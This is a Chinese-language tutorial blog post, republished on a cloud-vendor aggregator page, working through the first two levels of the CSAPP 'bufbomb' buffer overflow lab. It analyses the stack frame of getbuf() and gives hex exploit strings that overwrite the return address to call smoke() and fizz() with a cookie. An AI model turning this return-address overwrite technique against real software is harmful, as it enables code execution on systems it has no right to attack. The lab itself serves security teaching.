CSAPP緩衝區溢位攻擊實驗(上)

來源:互聯網
上載者:User

標籤:

CSAPP緩衝區溢位攻擊實驗(上)

下載實驗工具。最新的講義在這。

網上能找到的實驗材料有些舊了,有的地方跟最新的handout對不上。只是沒有關係,大體上僅僅是程式名(sendstring)或者參數名(bufbomb -t)的差異,不影響我們的實驗。

1.實驗工具1.1 makecookie

後面實驗中,五次“攻擊”中有四次都是使你的cookie出如今它原本不存在的位置,所以我們首先要為自己產生一個cookie。

實驗工具中的makecookie就是產生cookie用的。參數是你的名字:

[[email protected] bufbomb]$ file makecookie makecookie: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), \for GNU/Linux 2.6.9, not stripped[[email protected] bufbomb]$ chmod +x makecookie[[email protected] bufbomb]$ ./makecookie cdai0x5e5ee04e
1.2 bufbomb

bufbomb就是我們要“攻擊”的程式,我下載的實驗工具的這個版本號碼在運行時必須有-t這個參數,表示本人的名字:

[[email protected] bufbomb]$ ./bufbomb You must include a team name with -tUsage: ./bufbomb -t team [-n] [-s] [-h]        -t team:   Specify team name        -n :       Nitro mode        -s :       Submit solution via email        -h :       Print help information[[email protected] bufbomb]$ ./bufbomb -t cdaiTeam: cdaiCookie: 0x5e5ee04eType string:I love 15-213Dud: getbuf returned 0x1Better luck next time[[email protected] bufbomb]$ ./bufbomb -t cdaiTeam: cdaiCookie: 0x5e5ee04eType string:It is easier to love this class when you are a TAOuch!: You caused a segmentation fault!Better luck next time
1.3 sendstring

sendstring小工具(新版叫做hex2raw)能讀入我們的製作的string(十六進位)。將其發送到bufbomb的標準輸入資料流。避免每次都要在終端上手動輸入。cat管道或者直接重新導向兩種方式都行:

[[email protected] bufbomb]$ cat exploit.raw | ./sendstring | ./bufbomb -t cdai[[email protected] bufbomb]$ ./sendstring < cat exploit.raw | ./bufbomb -t cdai
2.熱身準備2.1 “漏洞”代碼

以下這一段看似“無辜”的小函數就是產生安全性漏洞的源頭了,而最根源的root cause就是Gets()函數沒有考慮buf緩衝區的大小。直接將使用者輸入的全部字元都儲存進去。假設使用者輸入過多的字元,就會導致棧上某些資料被覆蓋。從而造成了緩衝區溢位的危急:

int getbuf(){    char buf[12];    Gets(buf);    return 1;}
2.2 緩衝區棧分析

在開始真正“攻擊”之前。我們先要分析一下bufbomb調用getbuf()時的棧是什麼樣子的。

僅僅有全面的瞭解了棧結構。後面實驗時我們才幹隨心所欲地“攻擊”它。

首先,通過objdump反組譯碼getbuf()函數:

[[email protected] bufbomb]$ objdump -S -d -z bufbomb | grep -A15 "<getbuf>:"08048ad0 <getbuf>: 8048ad0:       55                      push   %ebp 8048ad1:       89 e5                   mov    %esp,%ebp 8048ad3:       83 ec 28                sub    $0x28,%esp 8048ad6:       8d 45 e8                lea    -0x18(%ebp),%eax 8048ad9:       89 04 24                mov    %eax,(%esp) 8048adc:       e8 df fe ff ff          call   80489c0 <Gets> 8048ae1:       c9                      leave   8048ae2:       b8 01 00 00 00          mov    $0x1,%eax 8048ae7:       c3                      ret     8048ae8:       90                      nop 8048ae9:       8d b4 26 00 00 00 00    lea    0x0(%esi,%eiz,1),%esi

依據getbuf()的彙編代碼,如今分析一下運行時的棧結構是什麼樣子。基礎知識能夠看六星經典CSAPP-筆記(3)程式的機器級表示中的“7.運行時的代碼與棧”來高速溫習一下。這裡就不贅述了。

首先。未調用getbuf()之前。%ebp和%esp分別指向調用者test()的棧base地址和棧頂地址,此時棧世界還是一片“風平浪靜”:

…………………………………………….. 0x??

<- %ebp

…………………………………………….. 0x00 <- %esp

當test()運行到call 時。依據之前的學習。call指令和getbuf()的前兩條“慣用”指令會完畢這三件事兒:

  • call指令儲存返回地址:所謂儲存返回地址(return address)事實上就是 call指令將那一時刻的PC(%eip值,即call的下一條指令的地址)壓入棧。還記得嗎?由於PC自增在先,指令運行在後。所以運行完getbuf()的全部代碼後,ret指令會恢複PC的值。程式就能夠繼續運行test()的剩餘代碼了。
  • getbuf()儲存test()的%ebp:將test()棧幀的base地址壓入到棧上。
  • getbuf()儲存test()的%esp:將test()棧幀的棧頂地址儲存到getbuf()的%ebp,作為getbuf()的base地址。

    leave和ret指令會負責還原%ebp和%esp。

依據這三條“慣例”,每一個函數的棧初始時都是一樣的:先是return address,然後是儲存的調用者的%ebp,當前的%ebp就指向這。而%esp依據分配空間的大小指向了“更低處”

接下來就是分析getbuf()專屬的部分了。

開始進一步分析之前先確定兩個規則:1)%ebp指向的地址作為0x00(相對位址);2)中寄存器指向的橫線的上方是該地址上的資料

  1. lea -0x18(%ebp),%eax:利用lea運行複雜運算,%eax = %ebp - 0x18 = 0x18
  2. mov %eax,(%esp):改動%esp指向位置的值作為Gets()的入參。%(esp) = -0x28位置的資料 = -0x18
  3. call 80489c0 :調用Gets()函數。

不考慮Gets()是怎樣利用入參-0x18改動buf數組,預設它會完畢這個工作。那麼getbuf()的棧在調用Gets()就是這個樣子:

…………………………………………….. 0x??

……………………………………………..
Return Address
…………………………………………….. 0x04
Saved %ebp
…………………………………………….. 0x00 <- %ebp

……………………………………………..
-0x18 (%eax)
…………………………………………….. -0x28 <- %esp (&arg0)

瞭解到這裡也就足夠了。以下就能夠進行實驗了。

溫習:call, leave, ret
call A:儲存%eip,調用函數

  • push %eip
  • jmp A

    leave:還原調用者的%ebp和%esp,為退出函數做準備

  • mov %ebp, %esp

  • pop %ebp

    ret:改動%eip,返回調用者繼續運行

  • pop %eip

進一步回想:
push A:將A壓入棧,並改動棧頂指標%esp

  • mov A, (%esp)
  • %esp += 4

    jmp A:改動%eip。“跳到別處”繼續運行

  • mov A, %eip

2.3 GDB觀察

GDB是Linux下強大的調試工具。簡單使用說明例如以下:

  1. gdb :準備偵錯工具,等同於先gdb。再file 。

  2. b :為函數設定斷點。

    b是break的縮寫。除了函數名。還能夠是地址、當前運行處的+/-位移等。

  3. run :開始運行程式。run後面能夠加程式須要的參數,就像在命令列正常運行時那樣。
  4. s/n/si/c/kill:s即step in,進入下一行代碼運行;n即step next。運行下一行代碼但不進入。si即step instruction。運行下一條彙編/CPU指令;c即continue,繼續運行直到下一個斷點處。kill終止調試。

  5. bt:bt是backtrace的縮寫。列印當前所在函數的堆棧路徑。
  6. info frame :描寫敘述選中的棧幀。
  7. info args:列印選中棧幀的參數。
  8. print :列印指定變數的值。

  9. list:列出相應的源碼。
  10. quit:退出gdb。
3.“攻擊”實驗3.1 Level 0: 蠟燭

實驗1是要改動getbuf()的返回地址。在運行完getbuf()後不是返回到原來的調用者test(),而是跳到一個叫做smoke()的函數裡。

而且不用操心我們會破壞棧的其它部分,由於反正smoke()運行後也是要終止程式,這也減少了難度。

void smoke(){    printf("Smoke!: You called smoke()\n");    validate(0);    exit(0);}

於是思路非常easy。依照前面的棧結構分析,我們僅僅需構造一段字串讓Gets()全部複製到buf數組了,從而造成緩衝區溢位。同一時候最重要的一點是:將smoke()函數的初始地址也放到構造的字串內。使其恰好覆蓋到getbuf()的return address位置

那麼第一步。我們先要知道smoke()的初始地址。

這非常easy。用objdump查看符號表或者.text都能找到:

[[email protected] bufbomb]$ objdump -t bufbomb bufbomb:     file format elf32-i386SYMBOL TABLE:08048134 l    d  .interp        00000000              .interp    ...08048f40 g     F .text  0000002a              bushandler08048eb0 g     F .text  0000002a              smoke00000000       F *UND*  00000017              [email protected]@GLIBC_2.00804a1d0 g     O .bss   00000004              team    ...

能夠清楚地看到smoke的初始地址是0x08048eb0,萬事俱備。如今就能夠構造“攻擊”字串了!既然題目都說了,破壞棧中的其它部分資料沒關係,那除了smoke的地址。其它我們都能夠“瞎寫”了。

buf第一個元素的地址是-0x18,而return address第一個位元組的地址是0x04,兩個位置的相差換算成換算成十進位就是0x04 - (-0x18) = 4 + 24 = 28。也就是說我們要構造28個字元,然後加上smoke()的地址就能準確覆蓋到return address了。為了便於計數,我按00到99的順序填充:

[[email protected] bufbomb]$ cat exploit.raw0011223344556677889900112233445566778899001122334455667708048eb0

出乎意料的是第一次運行卻失敗了,bufbomb提示segment fault,還以為前面分析都錯了。結果原因卻是我忘記了小尾端的事兒,直接將smoke()的首地址0x08048eb0放到exploit.new的末尾了,PC就會指向一個非法的記憶體位址了,當然就報段錯誤了。將地址調整成b0 8e 04 08後,果然成功了!

看到CMU對我說“NICE JOB!”熱淚盈眶啊!

[[email protected] bufbomb]$ cat exploit.raw00112233445566778899001122334455667788990011223344556677b08e0408[[email protected] bufbomb]$ cat exploit.raw | ./sendstring | ./bufbomb -t cdaiTeam: cdaiCookie: 0x5e5ee04eType string:Smoke!: You called smoke()NICE JOB!Sent validation information to grading server
3.2 Level 1: 煙火

實驗2與實驗1大同小異,都是讓getbuf()的調用者test()(不是getbuf())運行一個代碼裡未調用的函數。實驗2中是fizz()函數。但實驗2稍稍提高了難度。我們不僅要想法讓test()運行fizz(),還要傳入我們的cookie作為參數。讓fizz()列印出來才算成功。

void fizz(int val){    if (val == cookie)    {        printf("Fizz!: You called fizz(0x%x)\n", val);        validate(1);    } else        printf("Misfire: You called fizz(0x%x)\n", val);    exit(0);}

第一步還是通過objdump -t查看符號表中fizz()函數的初始地址。拿到了地址0x08048e60,僅僅要用它替換掉之前exploit.raw中smoke()的地址就能讓getbuf()運行完畢後返回到fizz()中(注意不要再忘記小尾端位元組序)。也就通過緩衝區溢位造成了test()調用了fizz()的“假象”。

第二步非常easy,用makecookie產生我的username”cdai”的cookie是0x5e5ee04e,那麼如今的問題是怎樣正確設定fizz()的入參呢?之前我們著重溫習了call運行時被調用者要做的三件事兒,如今就溫習一下調用者要做的事兒。

重溫一下getbuf()的反組譯碼代碼,以getbuf()調用Gets()為例,看一下調用者的代碼和相應的棧:

[[email protected] bufbomb]$ objdump -S -d -z bufbomb | grep -A15 "<getbuf>:"08048ad0 <getbuf>: 8048ad0:       55                      push   %ebp 8048ad1:       89 e5                   mov    %esp,%ebp 8048ad3:       83 ec 28                sub    $0x28,%esp 8048ad6:       8d 45 e8                lea    -0x18(%ebp),%eax 8048ad9:       89 04 24                mov    %eax,(%esp) 8048adc:       e8 df fe ff ff          call   80489c0 <Gets> 8048ae1:       c9                      leave   8048ae2:       b8 01 00 00 00          mov    $0x1,%eax 8048ae7:       c3                      ret     8048ae8:       90                      nop 8048ae9:       8d b4 26 00 00 00 00    lea    0x0(%esi,%eiz,1),%esi[[email protected] bufbomb]$ objdump -d bufbomb | grep -A30 "<fizz>:"08048e60 <fizz>: 8048e60:   55                      push   %ebp 8048e61:   89 e5                   mov    %esp,%ebp 8048e63:   83 ec 08                sub    $0x8,%esp 8048e66:   8b 45 08                mov    0x8(%ebp),%eax    ...

調用Gets()之前。getbuf()負責將參數壓入到棧上,參數位置是(%esp),即棧頂所指的位置。有了這個知識。我們就能夠為fizz()準備入參了。但要注意三點:

  1. 多個參數的順序問題:假如Gets()有兩個參數,參數在棧上的地址順序是:低地址(靠近棧頂)是第一個參數。高地址是第二個參數。
  2. 棧指標%ebp和%esp:當我們溢出緩衝區到getbuf()棧上的return address位置時,實際上破壞了棧上的其它資料。包含Saved %ebp。

    這樣getbuf()運行return恢複%ebp時實際上是無法正常恢複到test()的位置了。注意:損壞的僅僅是%ebp。由於%esp是用%ebp還原的而不是在棧上儲存的(leave=mov %ebp, %esp; pop %ebp)但這都沒有關係。僅僅要開始運行fizz(),fizz()依照“慣例”會將事實上已“損壞”的%ebp再次儲存到棧上,並從完善的%esp處繼續運行

  3. 別忘了return address:前面講過call指令在跳轉前會壓入%eip作為return address。

    也就是說fizz()的%ebp(指向saved %ebp)和調用者準備好的入參之間是隔著return address的。

這時的棧看起來非常彆扭。這非常正常。由於正常情況下,getbuf()運行後應回到它的調用點,但由於我們有益破壞了它的棧,所以 getbuf()的return運行後卻馬上進入了還有一個函數fizz(),看起來也就不足為奇了。

…………………………………………………………………………….. 0x?

?


Data on caller’s stack => fizz()’s argument: 4ee05e5e
…………………………………………………………………………….. 0x0c
Data on caller’s stack => fizz()’s return address: padding 00112233
…………………………………………………………………………….. 0x08
Return Address of getbuf() => fizz()’s entry point: 608e0408
…………………………………………………………………………….. 0x04
Saved %ebp => padding 44556677
…………………………………………………………………………….. 0x00 <- %ebp
Buf on getbuf()’s stack => padding 00~99 00~99 00~33
……………………………………………………………………………..
-0x18 (%eax)
…………………………………………………………………………….. -0x28 <- %esp (&arg0)

以下就是進入fizz()之後的樣子:依照調用者“慣例”和call指令,入參和返回地址(%eip)被壓入棧上。依照被調用者“慣例”,fizz將%ebp壓入棧後移動到%esp,並移動%esp分配棧空間。一切都“正常”的彷彿就是test()調用的fizz()!

從fizz()的反組譯碼結果也驗證了這一點。sub $0x8, %esp分配棧空間後。mov 0x8(%ebp), %eax將入參儲存到寄存器%eax中。對比以下的棧,%ebp隔著壓入棧的調用者的%ebp和返回地址8位元組,因此0x8(%ebp)恰好就是我們“攻擊”時放置的入參值。

…………………………………………………………………………….. 0x??


fizz()’s argument: 4ee05e5e
…………………………………………………………………………….. 0x0c
fizz()’s return address: 00112233
…………………………………………………………………………….. 0x08
Saved %ebp: 44556677
…………………………………………………………………………….. 0x04 <- %ebp

…………………………………………………………………………….. 0x00

…………………………………………………………………………….. -0x08 <- %esp

[[email protected] bufbomb]$ cat exploit_level_1.raw 00112233445566778899001122334455667788990011223344556677608e0408001122334ee05e5e[[email protected] bufbomb]$ cat exploit_level_1.raw | ./sendstring | ./bufbomb -t cdaiTeam: cdaiCookie: 0x5e5ee04eType string:Fizz!: You called fizz(0x5e5ee04e)NICE JOB!Sent validation information to grading server

CSAPP緩衝區溢位攻擊實驗(上)

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.